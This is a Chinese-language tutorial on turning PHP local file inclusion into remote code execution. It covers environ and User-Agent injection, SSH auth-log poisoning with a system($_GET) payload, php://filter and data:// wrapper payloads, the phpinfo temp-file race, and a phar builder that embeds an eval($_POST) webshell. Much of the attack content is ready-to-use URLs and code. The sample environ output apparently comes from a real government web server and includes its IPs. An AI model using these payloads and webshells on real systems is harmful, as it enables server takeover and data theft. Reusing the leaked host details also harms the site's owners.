最近lfi+phpinfo利用挺火的,我又在知识库里搜了一下,文件包含的文章不少,但是对于lfi的总结文章还没有。于是总结一下,部分翻译自老外文章,自带一点自己的理解和部分老外没提及到的知识点。此外还整理里一篇lfi转换为rce可能用到的协议
Lfi如果没有上传点的话,在很多人眼里如同鸡肋,食之无味弃之可惜。其实网上已经有很多方法把lfi转化成为rce。
首先确定一个存在lfi的点,然后用来包含/proc/self/environ
http://192.168.159.128/lfi.php?file=../../../../../../../../proc/self/environ
你如果看到
DOCUMENT_ROOT=/home/dprdicom/public_html/smscenterGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_ENCODING=gzip,
deflateHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5HTTP_CONNECTION=keep-aliveHTTP_HOST=smscenter.dprdbekasikota.go.idHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101
Firefox/27.0PATH=/bin:/usr/binPHPRC=/usr/local/lib/QUERY_STRING=page=../../../../proc/self/environREDIRECT_STATUS=200REMOTE_ADDR=182.68.251.152REMOTE_PORT=21007REQUEST_METHOD=GETREQUEST_URI=/?page=../../../../proc/self/environSCRIPT_FILENAME=/home/dprdicom/public_html/smscenter/index.phpSCRIPT_NAME=/index.phpSERVER_ADDR=103.28.12.130SERVER_ADMIN=
_NAME=smscenter.dprdbekasikota.go.idSERVER_PORT=80SERVER_PROTOCOL=HTTP/1.1SERVER_SIGNATURE=SERVER_SOFTWARE=ApacheUNIQUE_ID=U@e2lmccDCgAB3SNHk0AAAAa
和上面这种类似的内容。就证明可以利用。
注意这段内容中:
HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0
这段就是浏览器的ua标识,也是我们可控的一个内容之一。我们要做的就是把ua改成php代码。然后利用上面的lfi点包含进来,就会执行php代码,从而实现rce
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell,ssh日志默认保存位置:/var/log/auth.log 当我们连接ssh时输入Ssh ‘<?php system($_GET[‘c’]); ?>’@192.168.1.105 php代码便会保存在/var/log/auth.log中,然后我们使用lfi.php进行包含。http://192.168.159.128/lfi.php?file=../../../../../../../..//var/log/auth.log
此外还能包含的日志文件有/var/www/apachae2/access.log (通过ua控制)
附一个fuzz的文件列表:点我查看
【利用场景】:lfi无法截断要包含的文件
php://filter是一种元封装器,用于”数据流打开”时的”筛选过滤”应用。在有了lfi的时候,可以利用这个功能来进行文件读写,注意,读文件的时候一定要进行base64编码,因为如果不进行编码的话php代码有可能直接执行,导致看不到代码。
读文件
http://192.168.159.128/lfi.php?file=php://filter/read=convert.base64-encode/resource=zh.php
读到的内容是base64编码的,去解下码就能直接看到文件源代码。
利用data://伪协议
进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。
http://127.0.0.1/lfi.php?file=data://text/plain;base64,PD9waHBpbmZvKCk7
PD9waHBpbmZvKCk7解码之后是<?phpinfo();
成功执行phpinfo()
【条件】在allow_url_include = On 且 PHP >= 5.2.0
原理和上面差不多。这个点曾经在强网杯中出现过
【条件】lfi+phpinfo
Lfi+phpinfo需要你有一个lfi,并且在网站上找到了phpinfo.php
http://drops.wooyun.org/web/13249 原理看这个
向服务器上任意php文件post请求上传文件时,都会生成临时文件,可以直接在phpinfo页面找到临时文件的路径及名字。在文件上传完毕后会自动删除临时文件,我们可以在删除之前包含临时文件,从而生成我们的shell
把下面这个图片保存成rar解压后可以看到源码。
当无法截断时可以利用phar包含,但是需要一个上传点
Phar打包 需要phar_readonly为off在php.ini中修改
<?php
try{
$p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
die('Could not open my.phar');
} catch (BadMethodCallException $e) {
echo 'technically, this cannot happen';
}
$p->startBuffering();
$p['file1.txt'] = 'file1';
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';
// use my.phar
echo file_get_contents('phar://my.phar/file2.txt'); // echo file2
// make a file named my.phar
$p->setStub("<?php
Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");
$p->stopBuffering();
?>
Phar可以改成任意后缀。上传后利用
http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell
或者尝试利用file://加路径去读php代码
http://127.0.0.1/test/filter.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
Lfi目前已经有了很多种转化成rce的办法,慢慢尝试,总会找到一种把鸡肋优雅的利用的办法。